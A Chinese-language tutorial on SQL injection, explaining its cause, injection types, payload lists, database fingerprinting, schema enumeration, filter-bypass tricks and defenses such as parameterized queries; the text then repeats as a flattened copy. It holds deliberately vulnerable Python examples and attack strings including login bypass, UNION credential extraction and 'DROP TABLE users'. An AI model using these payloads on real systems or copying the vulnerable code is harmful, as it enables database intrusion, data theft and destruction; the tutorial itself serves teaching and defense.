Web安全之SQL注入漏洞
字数 2180 2025-08-10 10:14:26

SQL注入漏洞全面解析与防御指南

0x0 SQL注入漏洞概述

SQL注入漏洞是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL代码来执行未经授权的数据库操作。其核心原理是应用程序未对用户输入进行充分验证和过滤,导致攻击者可以构造特定输入绕过安全机制直接操作数据库。

0x1 SQL注入产生原因

SQL注入产生的根本原因是应用程序将用户输入直接拼接到SQL语句中而未做任何处理。典型示例:

import mysql.connector

def login(username, password):
    conn = mysql.connector.connect(
        host="localhost",
        user="root",
        password="password",
        database="mydatabase"
    )
    cursor = conn.cursor()
    
    # 危险:直接拼接用户输入
    sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
    
    cursor.execute(sql)
    result = cursor.fetchall()
    
    if len(result) > 0:
        print("登录成功")
    else:
        print("登录失败")
    
    cursor.close()
    conn.close()

username = input("请输入用户名:")
password = input("请输入密码:")
login(username, password)

攻击者可输入用户名 ' OR '1'='1 和任意密码,构造的SQL语句:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password'

由于 '1'='1' 恒为真,此语句会返回所有用户信息,实现登录绕过。

0x2 SQL注入类型

基于错误的注入

利用应用程序返回的错误信息获取数据库敏感信息。示例:

def search(keyword):
    conn = mysql.connector.connect(...)
    cursor = conn.cursor()
    
    sql = "SELECT * FROM products WHERE name LIKE '%" + keyword + "%'"
    
    try:
        cursor.execute(sql)
        result = cursor.fetchall()
        # 显示结果
    except mysql.connector.Error as e:
        print("发生错误:", e)  # 泄露敏感信息
    
    cursor.close()
    conn.close()

攻击输入:' OR 1=1 UNION SELECT table_name, column_name FROM information_schema.columns --

基于布尔的注入

利用应用程序返回的布尔值判断条件是否成立。示例:

def get_user_info(user_id):
    conn = mysql.connector.connect(...)
    cursor = conn.cursor()
    
    sql = "SELECT * FROM users WHERE id = " + user_id
    
    cursor.execute(sql)
    result = cursor.fetchall()
    # 显示结果

攻击输入:1' OR 1=1 --

基于时间的盲注

利用响应时间判断条件是否成立。示例:

def get_user_info(user_id):
    start_time = time.time()
    cursor.execute(sql)
    end_time = time.time()
    # 计算响应时间

攻击输入:1' AND SLEEP(5) --

堆叠注入

执行多个SQL语句。示例:

def login(username, password):
    sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
    cursor.execute(sql)

攻击输入:' OR 1=1; DROP TABLE users; --

0x3 常见注入点

  1. 用户输入字段(表单、搜索框等)
  2. URL参数
  3. Cookie值
  4. HTTP头部
  5. 隐藏表单字段
  6. 数据库存储过程和函数参数

0x4 测试符号与Payload

常用测试符号

  • 单引号 ' - 终止字符串
  • 双引号 " - 终止标识符
  • 分号 ; - 语句分隔符
  • 注释符 --, #, /* */
  • 逻辑运算符 AND, OR

常用测试Payload

  1. 基础绕过:' OR 1=1 --
  2. 联合查询:' UNION SELECT username, password FROM users --
  3. 信息收集:
    • ' OR 1=1 UNION SELECT NULL, table_name FROM information_schema.tables --
    • ' OR 1=1 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users' --
  4. 管理员账户获取:' UNION SELECT username, password FROM users WHERE username='admin' --

0x5 数据库识别技术

判断数据库类型

  1. 通过错误消息:

    • MySQL:包含"SQL syntax"或"Unknown column"
    • SQL Server:包含"Unclosed quotation mark"或"Invalid object name"
  2. 通过特定函数:

    • MySQL:VERSION()
    • SQL Server:@@VERSION
    • Oracle:SELECT * FROM v$version

获取数据库信息

  • 版本信息

    • MySQL:SELECT VERSION()
    • SQL Server:SELECT @@VERSION
    • Oracle:SELECT * FROM v$version
  • 当前数据库名

    • MySQL:SELECT database()
    • SQL Server:SELECT DB_NAME()
    • Oracle:SELECT ora_database_name FROM dual

0x6 字段数判断技术

  1. ORDER BY法:

    ORDER BY 1
    ORDER BY 2
    ORDER BY 3
    ...
    

    直到出现错误,字段数=最大成功数字

  2. UNION SELECT法:

    UNION SELECT NULL
    UNION SELECT NULL, NULL
    UNION SELECT NULL, NULL, NULL
    ...
    

    直到列数匹配

0x7 表名和列名查询

MySQL

SELECT table_name FROM information_schema.tables WHERE table_schema='database_name'
SELECT column_name FROM information_schema.columns WHERE table_schema='database_name' AND table_name='table_name'

SQL Server

SELECT name FROM sys.tables WHERE type='U'
SELECT name FROM sys.columns WHERE object_id=OBJECT_ID('table_name')

Oracle

SELECT table_name FROM all_tables WHERE owner='schema_name'
SELECT column_name FROM all_tab_columns WHERE owner='schema_name' AND table_name='table_name'

0x8 绕过技术

  1. 注释绕过

    • ' OR 1=1 --
    • ' OR 1=1 #
    • MySQL特有:/*!UNION*/ SELECT 1,2,3
  2. 编码绕过

    • URL编码:%27OR%201=1--
    • HTML实体:' OR 1=1 --
    • Unicode编码:\u0027 OR 1=1 --
  3. 大小写/混写

    • ' Or 1=1 --
    • ' oR 1=1 --
  4. 字符串拼接

    • ' + 'OR' + '1'='1
  5. 等价函数替换

    • OR 1=1OR 9=9
    • SLEEP(5)BENCHMARK(10000000,MD5(NOW()))

0x9 防御措施

  1. 参数化查询(预编译语句)

    cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
    
  2. 输入验证与过滤

    • 白名单验证(如只允许字母数字)
    • 类型检查(如数字字段只接受数字)
  3. 最小权限原则

    • 数据库用户只授予必要权限
  4. 错误处理

    • 不向用户显示详细错误信息
  5. Web应用防火墙(WAF)

    • 过滤常见攻击模式
  6. ORM框架

    • 使用SQLAlchemy等ORM框架自动处理参数
  7. 定期安全测试

    • 使用自动化工具进行渗透测试

0xA 总结

SQL注入是危害极大的Web安全漏洞,攻击者可通过精心构造的输入获取敏感数据、破坏数据甚至控制服务器。防御需要从开发阶段开始,采用参数化查询、严格输入验证、最小权限等多层防护措施,并保持持续的安全意识教育。

SQL注入漏洞全面解析与防御指南 0x0 SQL注入漏洞概述 SQL注入漏洞是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL代码来执行未经授权的数据库操作。其核心原理是应用程序未对用户输入进行充分验证和过滤,导致攻击者可以构造特定输入绕过安全机制直接操作数据库。 0x1 SQL注入产生原因 SQL注入产生的根本原因是应用程序将用户输入直接拼接到SQL语句中而未做任何处理。典型示例: 攻击者可输入用户名 ' OR '1'='1 和任意密码,构造的SQL语句: 由于 '1'='1' 恒为真,此语句会返回所有用户信息,实现登录绕过。 0x2 SQL注入类型 基于错误的注入 利用应用程序返回的错误信息获取数据库敏感信息。示例: 攻击输入: ' OR 1=1 UNION SELECT table_name, column_name FROM information_schema.columns -- 基于布尔的注入 利用应用程序返回的布尔值判断条件是否成立。示例: 攻击输入: 1' OR 1=1 -- 基于时间的盲注 利用响应时间判断条件是否成立。示例: 攻击输入: 1' AND SLEEP(5) -- 堆叠注入 执行多个SQL语句。示例: 攻击输入: ' OR 1=1; DROP TABLE users; -- 0x3 常见注入点 用户输入字段(表单、搜索框等) URL参数 Cookie值 HTTP头部 隐藏表单字段 数据库存储过程和函数参数 0x4 测试符号与Payload 常用测试符号 单引号 ' - 终止字符串 双引号 " - 终止标识符 分号 ; - 语句分隔符 注释符 -- , # , /* */ 逻辑运算符 AND , OR 常用测试Payload 基础绕过: ' OR 1=1 -- 联合查询: ' UNION SELECT username, password FROM users -- 信息收集: ' OR 1=1 UNION SELECT NULL, table_name FROM information_schema.tables -- ' OR 1=1 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users' -- 管理员账户获取: ' UNION SELECT username, password FROM users WHERE username='admin' -- 0x5 数据库识别技术 判断数据库类型 通过错误消息: MySQL:包含"SQL syntax"或"Unknown column" SQL Server:包含"Unclosed quotation mark"或"Invalid object name" 通过特定函数: MySQL: VERSION() SQL Server: @@VERSION Oracle: SELECT * FROM v$version 获取数据库信息 版本信息 : MySQL: SELECT VERSION() SQL Server: SELECT @@VERSION Oracle: SELECT * FROM v$version 当前数据库名 : MySQL: SELECT database() SQL Server: SELECT DB_NAME() Oracle: SELECT ora_database_name FROM dual 0x6 字段数判断技术 ORDER BY 法: 直到出现错误,字段数=最大成功数字 UNION SELECT 法: 直到列数匹配 0x7 表名和列名查询 MySQL SQL Server Oracle 0x8 绕过技术 注释绕过 : ' OR 1=1 -- ' OR 1=1 # MySQL特有: /*!UNION*/ SELECT 1,2,3 编码绕过 : URL编码: %27OR%201=1-- HTML实体: ' OR 1=1 -- Unicode编码: \u0027 OR 1=1 -- 大小写/混写 : ' Or 1=1 -- ' oR 1=1 -- 字符串拼接 : ' + 'OR' + '1'='1 等价函数替换 : OR 1=1 → OR 9=9 SLEEP(5) → BENCHMARK(10000000,MD5(NOW())) 0x9 防御措施 参数化查询(预编译语句) 输入验证与过滤 白名单验证(如只允许字母数字) 类型检查(如数字字段只接受数字) 最小权限原则 数据库用户只授予必要权限 错误处理 不向用户显示详细错误信息 Web应用防火墙(WAF) 过滤常见攻击模式 ORM框架 使用SQLAlchemy等ORM框架自动处理参数 定期安全测试 使用自动化工具进行渗透测试 0xA 总结 SQL注入是危害极大的Web安全漏洞,攻击者可通过精心构造的输入获取敏感数据、破坏数据甚至控制服务器。防御需要从开发阶段开始,采用参数化查询、严格输入验证、最小权限等多层防护措施,并保持持续的安全意识教育。